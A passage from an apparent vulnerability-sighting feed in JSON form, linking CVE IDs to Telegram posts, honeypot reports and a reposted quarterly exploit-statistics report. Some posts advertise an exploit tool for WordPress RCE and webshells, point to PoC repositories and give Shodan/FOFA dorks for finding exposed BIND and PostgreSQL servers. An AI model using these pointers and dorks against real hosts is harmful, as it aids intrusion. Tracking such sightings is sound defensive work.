\u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "046ba461-e7d1-48d3-9bca-7ace63dba631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/ckeArsenal/299", "content": "https://vulncheck.com/blog/four-faith-cve-2024-12856\n\nFour-Faith Industrial Router CVE-2024-12856 Exploited in the Wild\n#\u5206\u6790 #poc #exploit #IoT", "creation_timestamp": "2025-01-01T17:37:16.000000Z"}, {"uuid": "d4a99d7a-5eea-4529-99c6-3d811a2c480c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/suboxone_chatroom/7383", "content": "CVE-2024-11187, -12705: Vulnerabilities in BIND DNS Software, 7.5 rating\u2757\ufe0f\n\nTwo vulnerabilities in BIND allow DoS against DNS servers, which can be a preparatory step before the main attacks.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/bGSFv\n\ud83d\udc49 Dork: dns.banner:\"BIND\" OR dns_tcp.banner:\"BIND\"\n\nRead more: https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2025-04-01T12:36:25.000000Z"}, {"uuid": "9a445e7c-aaf5-4956-a382-cb224e40f9ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/DEVIL_La_RSx/370", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-11-20T22:32:26.000000Z"}, {"uuid": "6a07a527-c17e-4952-a936-f70654752ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12908", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/313", "content": "https://blog.amberwolf.com/blog/2024/december/cve-2024-12908-delinea-protocol-handler---remote-code-execution-via-update-process/\n\nDelinea Protocol Handler - Remote Code Execution via Update Process (CVE-2024-12908)\n#\u5206\u6790", "creation_timestamp": "2025-01-13T09:16:53.000000Z"}, {"uuid": "9223f4c1-e191-4de7-aae3-d646ed4f02a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12908", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/269", "content": "https://blog.amberwolf.com/blog/2024/december/cve-2024-12908-delinea-protocol-handler---remote-code-execution-via-update-process/\n\nDelinea Protocol Handler - Remote Code Execution via Update Process (CVE-2024-12908)\n#\u5206\u6790", "creation_timestamp": "2024-12-27T18:51:16.000000Z"}, {"uuid": "d25fc81e-253d-438a-8969-099840dbd400", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/259", "content": "https://github.com/Rehan07-Human/Exploiting-RCE-Cyber_Project_CVE-2024-1212/blob/main/Cyber_Project_Report.md\n\nExploiting RCE Vulnerability in Kemp LoadMaster (CVE-2024-1212)\n#github #poc #exploit", "creation_timestamp": "2024-12-26T15:21:24.000000Z"}, {"uuid": "192477ee-43d6-4160-92ae-ff11a07b6710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/374", "content": "https://github.com/themirze/cve-2024-12084\n\ncve-2024-12084\n#github #poc", "creation_timestamp": "2025-01-22T13:35:05.000000Z"}, {"uuid": "94f8949a-06ec-48fe-a481-aa5a863bc55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/suboxone_chatroom/7443", "content": "\ud83d\udea8 CVE-2025-1094: PostgreSQL psql SQL injection\n\ud83d\udd25PoC:https://github.com/rapid7/metasploit-framework/pull/19877\n\ud83e\uddd0Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis\n\n\ud83d\udc47Dorks:\nHUNTER : protocol=\"postgresql\"\nFOFA : product=\"PostgreSQL\"\nSHODAN : \"port:5432 PostgreSQL\"\n\n\ud83d\udcf0Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/\n\n\nhttps://t.me/SuBoXoneSoCiety", "creation_timestamp": "2025-04-01T12:42:19.000000Z"}, {"uuid": "2e1645b3-7d5d-4256-9733-14ab88eb0f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/suboxone_chatroom/1577", "content": "#exploit\n1. A Practical Guide to PrintNightmare in 2024 (updated\u00a0Oct 5)\nhttps://itm4n.github.io/printnightmare-exploitation\n]-> PnP bypass\n\n2. CVE-2024-12209:\nWP Umbrella Unauthenticated LFI\nhttps://github.com/Nxploited/CVE-2024-12209\n\n3. CVE-2024-30085:\nWindows 11 23H2 EoP\nhttps://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe", "creation_timestamp": "2025-01-27T07:07:44.000000Z"}, {"uuid": "6eb70bd8-bb99-47a3-b849-ac146de81962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/suboxone_chatroom/6751", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-03-25T05:42:41.000000Z"}, {"uuid": "2091d6d3-8fa9-4d86-8311-69aff7664472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/suboxone_chatroom/6751", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-03-25T05:42:41.000000Z"}, {"uuid": "0f30b223-3569-40c8-8b61-8dcb591b9034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-30)", "content": "", "creation_timestamp": "2026-07-31T10:00:03.865792Z"}, {"uuid": "2730f1fd-c46e-4a25-af21-5ccac28155ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-30)", "content": "", "creation_timestamp": "2026-04-30T00:00:00.000000Z"}, {"uuid": "ed17eb51-7eb7-48cc-8753-d24884b869ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-02)", "content": "", "creation_timestamp": "2026-05-02T00:00:00.000000Z"}, {"uuid": "bca32388-43cb-40df-ae44-a96726f467f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://t.me/reverseame/5332", "content": "CVE-2024-12718: Path Escape via Python\u2019s tarfile Extraction Filters #JavaScript #Cookies #Enable #WebsiteAccess #BrowserSettings https://www.upwind.io/feed/cve-2024-12718-path-escape-via-pythons-tarfile-extraction-filters", "creation_timestamp": "2026-08-02T00:00:08.225876Z"}, {"uuid": "aeb05bbf-8605-43fb-8153-2a35c40a95b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-30)", "content": "", "creation_timestamp": "2026-07-31T10:15:04.610257Z"}, {"uuid": "65f5aea0-1276-4814-821e-d7a3c93effeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-03)", "content": "", "creation_timestamp": "2026-05-03T00:00:00.000000Z"}, {"uuid": "4631a7e9-7970-4c6c-88a8-ae64643526a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "d9cde748-2095-42a7-af75-cef8ebdb9bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "86cae2f1-9f47-46c5-a5b3-5d232fd8cdae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-05)", "content": "", "creation_timestamp": "2026-05-05T00:00:00.000000Z"}, {"uuid": "4cf355f7-5c31-4916-9763-0719d97a8dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml6w2j5p2y2b", "content": "\ud83d\udd17 CVE : CVE-2016-1000027, CVE-2024-12798, CVE-2026-23949, CVE-2026-24049, CVE-2026-27140, CVE-2026-32280, CVE-2026-32281, CVE-2026-32282, CVE-2026-32283, CVE-2026-32285, CVE-2026-32288, CVE-2026-32289, CVE-2026-33810, CVE-2026-34040, CVE-2026-39883", "creation_timestamp": "2026-05-06T14:30:22.480978Z"}, {"uuid": "42ef0dc6-a674-4ced-9c31-9dd478845220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-06)", "content": "", "creation_timestamp": "2026-05-06T00:00:00.000000Z"}, {"uuid": "25aba21c-6c30-4aa7-8cbf-1dadc74597cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-06)", "content": "", "creation_timestamp": "2026-05-06T00:00:00.000000Z"}, {"uuid": "050ae48e-6b63-4b8a-9aaf-47ea1364f6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:26.097750Z"}, {"uuid": "82af9ba2-910d-4bd9-8f16-e570f85406a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/purp_sec/363", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12297 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MOXA PT Switch, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2025-27509 \u2014 \u0431\u0430\u0433 \u0432 Fleet, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0430\u043c\u0438. \u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 SAML-\u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\ud83d\udd35CVE-2024-38311, CVE-2024-56195, CVE-2024-56196 \u0438 CVE-2024-5620 \u2014 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Apache Traffic Server \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438, \u043a\u0440\u0430\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c.\n\n\ud83d\udd35CVE-2025-25181, CVE-2024-57968, CVE-2024-13159, CVE-2024-13160, CVE-2024-13161 \u2014 \u043f\u044f\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Advantive VeraCore \u0438 Ivanti Endpoint Manager \u043f\u043e\u043f\u0430\u043b\u0438 \u0432 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 CISA \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\ud83d\udd35CVE-2025-27816 